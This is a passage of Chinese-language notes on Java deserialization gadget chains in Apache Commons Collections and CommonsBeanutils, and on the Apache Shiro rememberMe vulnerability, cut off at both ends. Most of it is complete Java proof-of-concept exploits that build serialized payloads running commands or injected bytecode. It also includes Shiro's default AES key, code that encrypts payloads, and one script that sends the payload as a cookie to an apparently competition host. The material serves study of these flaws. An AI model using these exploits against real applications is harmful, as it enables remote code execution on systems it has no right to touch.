        }
    }
}

CC13

参考: https://forum.butian.net/share/1233

CommonCollections DualTreeBidiMap

利用链的触发点是在 org.apache.commons.collections.bidimap.DualHashBidiMap 类的readObject方法, 在readObject方法中调用了putAll方法,传入的map参数是通过反序列化得到的

    public void putAll(Map map) {
        for (Iterator it = map.entrySet().iterator(); it.hasNext();) {
            Map.Entry entry = (Map.Entry) it.next();
            put(entry.getKey(), entry.getValue());
        }
    }

通过put对象中的 containsKey

    public Object put(Object key, Object value) {
        if (maps[0].containsKey(key)) {
            maps[1].remove(maps[0].get(key));
        }
        if (maps[1].containsKey(value)) {
            maps[0].remove(maps[1].get(value));
        }
        final Object obj = maps[0].put(key, value);
        maps[1].put(value, key);
        return obj;
    }

控制map[0]为TiedMapEntry对象, 在containsKey方法中会调用hash(key) 方法计算传入的key的hash, 而在hash方法中会调用key.hashCode()方法触发

    public boolean containsKey(Object key) {
        return getNode(hash(key), key) != null;
    }

POC

package CommonsCollections;

import org.apache.commons.collections.BidiMap;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC13_DualHashBidiMap {
    public static void main(String[] args) throws Exception{
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}),
            new ConstantTransformer(1)
        };
        Transformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "1");
        Map<String, Object> expMap = new HashMap<String, Object>();
        expMap.put("2", tiedMapEntry);

        // 控制map[0]为TiedMapEntry对象
        Class clazz = Class.forName("org.apache.commons.collections.bidimap.DualHashBidiMap");
        Constructor constructor = clazz.getDeclaredConstructor(Map.class, Map.class, BidiMap.class);
        constructor.setAccessible(true);
        Object dualHashBidiMap = constructor.newInstance(expMap, null, null);

        //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
        Field f = chainedTransformer.getClass().getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(chainedTransformer, transformers);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(dualHashBidiMap);

        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
    }
}

CommonCollections4 DualTreeBidiMap

触发点是在org.apache.commons.collections4.bidimap.DualTreeBidiMap类的readObject方法,同样是调用了putAll方法,并且DualTreeBidiMap类同样是继承自AbstractDualBidiMap抽象类

    public void putAll(final Map<? extends K, ? extends V> map) {
        for (final Map.Entry<? extends K, ? extends V> entry : map.entrySet()) {
            put(entry.getKey(), entry.getValue());
        }
    }

直接来看put方法的定义,这里的利用点不再是containsKey方法,因为在readObject方法中this.normalMapthis.reverseMap是被赋值为空的TreeMap对象,所以无法再利用,不过在下面调用了this.normalMapthis.reverseMap对象的put方法,也就是TreeMap的put方法

    public V put(final K key, final V value) {
        if (normalMap.containsKey(key)) {
            reverseMap.remove(normalMap.get(key));
        }
        if (reverseMap.containsKey(value)) {
            normalMap.remove(reverseMap.get(value));
        }
        final V obj = normalMap.put(key, value);
        reverseMap.put(value, key);
        return obj;
    }

在TreeMap的put方法中会调用compare方法, 而在compare方法中又会调用成员变量comparator的compare方法如果能控制这里的comparator为TransformingComparator对象,就可以完成后半部分利用链的构造,因为用到了TransformingComparator类,而TransformingComparator类在Commons Collections 4.0版本下实现了Serializable接口,所以该利用链在CommonsCollections 4.0版本下才可利用, DualTreeBidiMap对象的成员变量comparator在构造方法中是通过传入的keyComparator参数进行赋值,所以是可控的

POC

package CommonsCollections;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.bidimap.DualTreeBidiMap;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;

public class CC14_DualTreeBidiMap {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}),
            new ConstantTransformer(1)
        };

        Transformer chainedTransformer = new ChainedTransformer(new ConstantTransformer(1));
        TransformingComparator comparator = new TransformingComparator(chainedTransformer);
        DualTreeBidiMap dualTreeBidiMap = new DualTreeBidiMap(comparator, comparator);
        dualTreeBidiMap.put("demo", "demo");

        Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer, transformers);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(dualTreeBidiMap);

        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
    }
}

CommonCollections4 DualLinkedHashBidiMap

同理CommonCollections DualTreeBidiMap, POC

package CommonsCollections;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.bidimap.DualLinkedHashBidiMap;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC13_DualLinkedHashBidiMap {
    public static void main(String[] args) throws Exception{
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}),
            new ConstantTransformer(1)
        };

        Transformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        LazyMap lazyMap = LazyMap.lazyMap(innerMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "1");
        Map expMap = new HashMap();
        expMap.put("2", tiedMapEntry);

        DualLinkedHashBidiMap dualLinkedHashBidiMap = new DualLinkedHashBidiMap();
        Field field1 = dualLinkedHashBidiMap.getClass().getSuperclass().getDeclaredField("normalMap");
        field1.setAccessible(true);
        field1.set(dualLinkedHashBidiMap, expMap);

        //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
        Field f = chainedTransformer.getClass().getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(chainedTransformer, transformers);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(dualLinkedHashBidiMap);

        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
    }
}

CC14_Flat3Map

tabby挖掘

match path=(m1:Method)-[:CALL*..1]->(sink:Method) where m1.NAME=~"put" and m1.IS_SERIALIZABLE=true and sink.NAME="equals" return path

代替 hashtable 起到冲突作用, 3和4版本皆可(写法稍微有些不同)

Flat3Map#readObject
Flat3Map#put (2组数据key的hashCode相等后进入equals判断)
Flat3Map#equals(key1) (前一组key为恶意的Map, 后一组为HashMap)
AbstractMap#get(key) 触发恶意Map的get方法, 后续同CC7

POC

package CommonsCollections;

import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.DefaultedMap;
import org.apache.commons.collections.map.Flat3Map;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

import static util.Reflections.setFieldValue;

public class CC14_Flat3Map {
    public static void main(String[] args) throws Exception{
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
            new ConstantTransformer(1)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map innerMap1 = new HashMap();
//        Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
//        /**冲突是测试后写好的,不能乱改*/
//        lazyMap1.put("yy", 1);

        Map defaultMap1 = DefaultedMap.decorate(innerMap1, chainedTransformer);
        /**冲突是测试后写好的,不能乱改*/
        defaultMap1.put("yy", 1);

        /*jdk1.7~jdk1.8*/
        Map outerMap = new HashMap();
        outerMap.put("zZ", 1);

        Flat3Map flat3Map = new Flat3Map();
//        flat3Map.put(lazyMap1, "rce");
        flat3Map.put(defaultMap1, "rce");
        setFieldValue(flat3Map, "hash1", 0);
        flat3Map.put(outerMap, "ricky");

        //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
        Field f = chainedTransformer.getClass().getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(chainedTransformer, transformers);

        try{
            // serialize
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream objectoutputstream = new ObjectOutputStream(barr);
            objectoutputstream.writeObject(flat3Map);
            objectoutputstream.close();

            System.out.println(Base64.encodeBase64String(barr.toByteArray()));

            // unserialize
            ObjectInputStream objectinputstream = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
            objectinputstream.readObject();
            objectinputstream.close();

        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

CC15_CC4 with 3.2.1

源于一次比赛, 把一些CommonCollections 3.2.1下常用的 Transformer 给 ban 了

ConstantTransformer
InvokeTransformer

从CC4下手了, 虽然是用于CommonsCollections 4.0 但是可以改造一下, ConstantTransformer#transform方法是直接返回传入的对象

public Object transform(Object input) {
    return iConstant;
}

被 ban 以后尝试 TransformMap

public Object transform(Object input) {
    return this.iMap.get(input);
}

其实也很明显就是通过key值去取value, 测试了 hashMap#get 方法就可以实现, 所以可以通过建立 hashMap 把value赋值为我们需要的 TrAXFilter.class, 后面就是通过一种方式去触发 LazyMap.get 或 DefaultedMap.get 即可, 这里我才用了CC5(图方便偷懒), InvokeTransformer则是可以替换成 InstantiateTransformer, 因为新建 TrAXFilter 对象触发了这句

_transformer = (TransformerImpl) templates.newTransformer();

然后就是 TransformerImpl 的恶意模板注入, 这样也就是将CC4变成了全版本通用同时摆脱了3.2.1两个常用的 Transformer

POC

package CommonsCollections;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.MapTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC15_InstantiateTransformer {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        // ClassPool是 CtClass 对象的容器。实例化一个ClassPool容器。
        ClassPool classPool = ClassPool.getDefault();
        // 向容器中的类搜索路径的起始位置插入AbstractTranslet.class,个人认为是方便让后面能够找到这个类
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        // 使用容器新建一个CtClass,相当于新建一个class,类名为Evil
        CtClass ctClass = classPool.makeClass("Evil");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"%s\");";
        cmd = String.format(cmd, "calc.exe");
        // 给这个类创建 static 代码块,并插入到类中
        ctClass.makeClassInitializer().insertBefore(cmd);
        String className = "Evil" + System.nanoTime();
        // 重新设置类名为一个随机的名字
        ctClass.setName(className);
        // 给这个类添加一个父类,即继承该父类。
        ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName())); // 设置父类为AbstractTranslet,避免报错
        // 将这个类输出到项目目录下
//        ctClass.writeFile("./");
        // 将这个class转换为字节数组
        byte[] classBytes = ctClass.toBytecode();
        // 将字节数组放置到一个二维数组的第一个元素
        byte[][] targetByteCodes = new byte[][]{classBytes};
        // 实例化TemplatesImpl对象
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        setFieldValue(templates, "_name", "EvilTemplatesImpl");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        Map hashMap = new HashMap();
        hashMap.put("ricky", TrAXFilter.class);
        Transformer[] fakeTransformers = new Transformer[] {/*new ConstantTransformer(1)*/};
        Transformer mapTransformer = MapTransformer.getInstance(hashMap);
        Transformer[] transformers = new Transformer[]{
                mapTransformer,
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);

        Map innerMap = new HashMap();
        // 调用decorate主要是直接写入的方法是protected, 需要设置权限才行, 而该方法是public
        Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
        /**
         * BadAttributeValueException.readObject ->
         * TiedMapEntry.toString ->
         * TiedMapEntry.getValue ->
         * (this.map.get)LazyMap.get ->
         * ChainedTransformer.transform
         * */
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "ricky");
        /*jdk1.8*/
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
//        setFieldValue(badAttributeValueExpException, "val", tiedMapEntry); //调用CC2写好的设置函数
        // 单独设置
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, tiedMapEntry);

        //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
        setFieldValue(chainedTransformer, "iTransformers", transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(badAttributeValueExpException);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
        ois.close();
    }
}

CommonsCollectionsShiro

影响版本:Apache Shiro < 1.2.4

特征判断:返回包中包含rememberMe=deleteMe字段

shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值>>>Base64解码>>>AES解密>>>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

参考: https://y4er.com/post/shiro-rememberme-rce/

AES加密的流程主要在 org.apache.shiro.mgt.AbstractRememberMeManage中

public abstract class AbstractRememberMeManager implements RememberMeManager {
    private static final Logger log = LoggerFactory.getLogger(AbstractRememberMeManager.class);
    // 密钥
    private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
    // AES加密, 模式为CBC
    private Serializer<PrincipalCollection> serializer = new DefaultSerializer();
    private CipherService cipherService = new AesCipherService();
    private byte[] encryptionCipherKey;
    private byte[] decryptionCipherKey;
    ...
    // 加密流程
    protected byte[] encrypt(byte[] serialized) {
        byte[] value = serialized;
        CipherService cipherService = this.getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.encrypt(serialized, this.getEncryptionCipherKey());
            value = byteSource.getBytes();
        }
        return value;
    }
    // 解密流程
    protected byte[] decrypt(byte[] encrypted) {
        byte[] serialized = encrypted;
        CipherService cipherService = this.getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.decrypt(encrypted, this.getDecryptionCipherKey());
            serialized = byteSource.getBytes();
        }
        return serialized;
    }
    ...
    // 最后调用反序列化
    protected PrincipalCollection deserialize(byte[] serializedIdentity) {
        return (PrincipalCollection)this.getSerializer().deserialize(serializedIdentity);
    }

反序列化方法在org.apache.shiro.io.DefaultSerializer中

    public T deserialize(byte[] serialized) throws SerializationException {
        if (serialized == null) {
            String msg = "argument cannot be null.";
            throw new IllegalArgumentException(msg);
        } else {
            ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
            BufferedInputStream bis = new BufferedInputStream(bais);
            try {
                ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
                // 反序列化
                T deserialized = ois.readObject();
                ois.close();
                return deserialized;
            } catch (Exception var6) {
                String msg = "Unable to deserialze argument byte array.";
                throw new SerializationException(msg, var6);
            }
        }
    }

攻击过程如下:

  1. 使用CommonsCollections6_DefaultedMap利用链生成一个序列化Payload

  2. 使用Shiro默认Key进行加密

  3. 将密文作为rememberMe的Cookie发送给服务端

直接将其加密后生成的base64字符串放置RememberMe, 会出现如下报错

1642400371744

参考:

主要原因为: 如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。这就解释了为什么CommonsCollections6无法利用了,因为其中用到了Transformer数组。

构建无数组 gadget

通过TiedMapEntry作为中继, 调用LazyMap/DefaultedMap的get方法, 其中TiedMapEntry中的key和value都可控, 而看一下LazyMap.get

    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            // 传入的key值可控, factory可控
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

将构造好的TemplatesImpl(key)作为InvokerTransformer.transform函数的input传入,我们就可以将templates gadgets串起来了, 也就是通过InvokerTransformer.transform去调用TemplatesImpl.newTransformer从而触发字节码命令执行

POC

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.DefaultedMap;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsShiro {
    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(templates, "_name", "EvilTemplatesImpl");
        setFieldValue(templates, "_class", null);
//        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("getClass", null, null);

        Map innerMap = new HashMap();
//        Map outerMap = LazyMap.decorate(innerMap, transformer);
        Map outerMap = DefaultedMap.decorate(innerMap, transformer);

        TiedMapEntry tiedmapentry = new TiedMapEntry(outerMap, templates);
        Map expMap = new HashMap();
        expMap.put(tiedmapentry, "valuevalue");

        // 清除键值
        outerMap.clear();
        // 通过反射覆盖原本的iMethodName,防止序列化时在本地触发恶意方法
        setFieldValue(transformer, "iMethodName", "newTransformer");

        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        return barr.toByteArray();
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

加密调用

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class Client {
    public static void main(String []args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(Evil.class.getName());
        byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.println(ciphertext.toString());
    }
}

触发效果如下

shiro

用CommonsCollections10也是可以的

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.DefaultedMap;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CommonsCollections10 {
    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(templates, "_name", "EvilTemplatesImpl");
        setFieldValue(templates, "_class", null);
//        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("getClass", null, null);

        Map innerMap = new HashMap();
//        Map outerMap = LazyMap.decorate(innerMap, transformer);
        Map outerMap = DefaultedMap.decorate(innerMap, transformer);
        TiedMapEntry tiedMapEntry1 = new TiedMapEntry(outerMap, templates);

        // Use the colliding Maps as keys in Hashtable
        Hashtable hashtable = new Hashtable();
        hashtable.put("keykey", 1);

        // 获取hashtable的table类属性
        Field tableField = Hashtable.class.getDeclaredField("table");
        tableField.setAccessible(true);
        Object[] table = (Object[])tableField.get(hashtable);
        Object tiedMapEntry2 = table[0];
        if(tiedMapEntry2 == null)
            tiedMapEntry2 = table[1];
        // 获取Hashtable.Entry的key属性
        Field keyField = tiedMapEntry2.getClass().getDeclaredField("key");
        keyField.setAccessible(true);
        // 将key属性给替换成构造好的TiedMapEntry实例
        keyField.set(tiedMapEntry2, tiedMapEntry1);

        //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
        setFieldValue(transformer, "iMethodName", "newTransformer");

        // 字节调用写法
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashtable);
        oos.close();

        return barr.toByteArray();
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

CC15改装构造

CC4中的InstantiateTransformer也可用于CommonsCollections 3.2.1, 高版本 _tfactory 需要自行添加, Shiro反序列化时不会自动补充, 也是源于一次比赛的构造

package CommonsBeanutils;

import cn.hutool.http.HttpRequest;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsShiro2 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()});
        setFieldValue(templates, "_name", "EvilTemplatesImpl");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        Transformer faketransformer = new InvokerTransformer("getClass", null, null);
        Transformer transformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, faketransformer);
//        Map outerMap = DefaultedMap.decorate(innerMap, transformer);

        TiedMapEntry tiedmapentry = new TiedMapEntry(outerMap, TrAXFilter.class);
        Map expMap = new HashMap();
        expMap.put(tiedmapentry, "valuevalue");

        // 清除键值
        outerMap.clear();
        // 通过反射覆盖原本的factory,防止序列化时在本地触发恶意方法
        setFieldValue(outerMap, "factory", transformer);

        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        byte[] key = Base64.getDecoder().decode("7Bhs26ccN6i/0AT9GhZULF==");

        AesCipherService aes = new AesCipherService();
        ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
//        System.out.println(ciphertext.toString());
        String rem = ciphertext.toString();

        // 测试
//        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
//        ois.readObject();
//        ois.close();

        String url="http://eci-2zefymd8icss9keczft1.cloudeci1.ichunqiu.com:8888/ricky";
        HttpRequest httpRequest = HttpRequest.get(url).cookie("rememberMe="+rem);
        httpRequest.execute();
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

需要添加的依赖

    <!--http 传输-->
    <dependency>
      <groupId>cn.hutool</groupId>
      <artifactId>hutool-all</artifactId>
      <version>5.7.22</version>
    </dependency>

CommonsBeanutils

JavaBean

如果一个类的读写方法符合以下这种命名规范:

// 读方法:
public Type getXyz()
// 写方法:
public void setXyz(Type value)

那么这种class被称为JavaBean

例如该Cat类就是一中JavaBean

final public class Cat { 
    private String name = "catalina"; 
    public String getName() { 
        return name; 
    }
    public void setName(String name) { 
        this.name = name; 
    } 
}

commons-beanutils中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任意JavaBean的getter方法

PropertyUtils.getProperty(new Cat(), "name");

commons-beanutils会自动找到name属性的getter方法,也就是 getName,然后调用,获得返回值。除此之外,PropertyUtils.getProperty 还支持递归获取属性,比如a对象中有属性b,b对象中有属性c,我们可以通过 PropertyUtils.getProperty(a, "b.c"); 的方式进行递归获取。通过这个方法,使用者可以很方便地调用任意对象的getter,适用于在不确定JavaBean是哪个类对象时使用

commons-beanutils中有个BeanComparator, 符合CommonsCollections4中需要comparator触发的条件, 当其调用compare方法时, 跟进BeanComparator#compare()

    public int compare( Object o1, Object o2 ) {

        if ( property == null ) {
            // compare the actual objects
            return comparator.compare( o1, o2 );
        }

        try {
            Object value1 = PropertyUtils.getProperty( o1, property );
            Object value2 = PropertyUtils.getProperty( o2, property );
            return comparator.compare( value1, value2 );
        }
        catch ( IllegalAccessException iae ) {
            throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
        } 
        catch ( InvocationTargetException ite ) {
            throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
        }
        catch ( NoSuchMethodException nsme ) {
            throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
        } 
    }

假设o1是 TemplateImpl 实例, 而o2是 outputProperties , 则可以使用 PropertyUtils.getProperty 调用TemplatesImpl#getOutputProperties()从而触发代码执行, 其中 实例是由 PriorityQueue 传入的, 而 outputProperties 是 BeanComparator 中的属性

private String property;

POC

package CommonsCollections;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
